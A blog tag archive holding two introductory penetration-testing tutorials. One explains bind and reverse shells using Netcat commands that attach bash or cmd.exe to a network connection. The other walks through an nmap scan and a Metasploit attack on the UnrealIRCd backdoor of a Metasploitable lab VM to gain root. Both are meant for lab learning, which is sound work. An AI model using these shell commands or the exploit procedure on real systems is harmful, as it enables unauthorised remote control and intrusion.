Tag Archives: metasploit

What are Bind and Reverse Shells?

I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.

Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.

What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).

For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.

Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web

Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.

Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.

It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.

The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.

Okay, demo time, so either play along at home or just put your feet up and watch. *Read*

Our two boxes are Wendy the Windows box ( and Lynn the Linux box (

So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;

Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;

Lynn nc -nlvp nc 9874 -e /bin/bash

Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.

Now when a connection is established on Lynn (, the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;

Wendy nc -nv 9874

And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.


The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?

Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.

Lynn nc -nlvp nc 9874

Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.

Wendy nc -nv 9874 -e cmd.exe

We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.

In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn

The Metasploit Framework

When it comes to penetration testing there are many applications available. Some can be used for footprinting and enumeration, others for gaining access to the network, and others for exploiting weaknesses in the network setup, or less than secure code. The Metasploit Framework falls into the latter category. Developed by the Metasploit Project (now acquired by Rapid7), The Metaspolit Framework is a tool that it used to run and develop exploits for penetration testing remote devices. The Metaspoit Framework is open source, and modular, allowing for the development of individual exploits, these exploits target a range of software and a range of operating systems, from The Windows family, Linux/UNIX distros and the iterations of Apples Mac OS X. There are various other free and commercial versions of Metaspolit, these include versions with GUI’s and more advanced features. This Guide however, will be based on the standard Metasploit Framework Edition, which is one of Kali Linux’s built in tools.

Various exploits with various payloads can be crafted to attack various patch versions of various software, as you see, that is a lot of variables so there is no guarantee a given exploit will be successful on a given target.

This guide however should be successful; it is a known exploit on a known target. The first thing you should do is setup a small virtual network running two VM’s. I used VirtualBox, but if you would rather use different software it shouldn’t make any difference. On the first VM install Kali Linux, this is the de facto Linux distro for penetration testing, it comes with a huge variety of tools including The Metasploit Framework. On the second VM install Metasploitable (Download here), this is a custom made Linux VM, that is designed to be used for penetration testers to hone their craft. Once you have this setup with both machines pinging each other, you are ready to go.

Step 1

The first step is to find a vulnerability that you can exploit. One of the best methods is by using nmap to scan for open ports and services that may present an open door. Namp can be run in many modes with many options, some are stealthy and will avoid Intrusion Detection Systems, some are not so stealthy, for the purpose of this guide however, we are going to run nmap in a not so stealthy fashion, purely for the purposes of demonstration. We know our target machine (as it is the only other device on our network) so we will target it directly and perform a scan that gives us a list of open ports, services running and what patch level the software is at, it will also fingerprint the target OS and give an estimation on what OS is running (it does this based on the individual nuances built in to the OS’s TCP/IP stack).

As you can see in the screenshot below, we have discovered a range of services and the versions of each service.

## -v = verbose; -A = All; this will perform a detailed scan with detailed output ##

#nmap –v –A


Step 2

The next port of call is Google. Searching for exploits via the web will give an idea of potential security vulnerabilities in the target machines software. Search for weaknesses in each individual service that you have discovered, you may find that you can get the same end result in a number of different ways, some a lot simpler than others. In our machine you will see that it is running UnrealIRC version This is popular and widely used Internet Relay Chat software. After searching the web you will discover that this version has a flaw in it that when exploited, can give an attacker root access to the Linux server running it.

Step 3

It is now time to move on to The Metasploit Framework. First, launch the tool. You will notice that the command prompt changes to the Metaspolit Framework prompt. Once the console has been launched you can use the search feature to find built in exploits, it does this by searching its database of exploit modules for the string of text you input. In this example; ‘unreal’.

This will return a list of modules that have ‘unreal’ in the title, you will find that it returns three exploits, two of which are for Unreal Tournament 2004, looking at the path you can tell there is one for Linux and one for Windows. You will also see how they are ranked, with both being ranked as good. These are not relevant to the UnrealIRC software, but the third one is. Examining the path shows that it is an exploit for UNIX systems, the correct software and the correct version of software, additionally you can see that this module is rated as excellent.

Using the info command followed by the path of the exploit will display a host of information about the module, including a description, licensing details, setting and links to references about the exploit.

[email protected]:~# msfconsole
msf > search unreal
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor


Step 4

Now that we are satisfied that we have discovered an exploit module for our target software and OS, it is time to launch the module, this is done with the use command followed by the path of the exploit. Once launched the command prompt will change to the module path, you can now use context commands for that module, the show options command with display remote host IP settings and port settings.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit (unreal_ircd_3281_backdoor) > show options


Step 5

To set the target IP address using the set RHOST command followed by the target machines IP address. The target port will be set to the UnrealIRC default port 6667, confirm from in the information discovered with nmap that this is indeed the port being used by the service, if not use the set RPORT command to configure the target port.

msf exploit (unreal_ircd_3281_backdoor) > set RHOST
msf exploit (unreal_ircd_3281_backdoor) > set RPORT 6667

Step 6

The final step is to execute the exploit. This is done simply by using the exploit command, the screen will output information on the working of the exploit, once it is complete you should now have access as root to the target machine, confirm this by running a root level command or by using the whoami command.

msf exploit (unreal_ircd_3281_backdoor) > exploit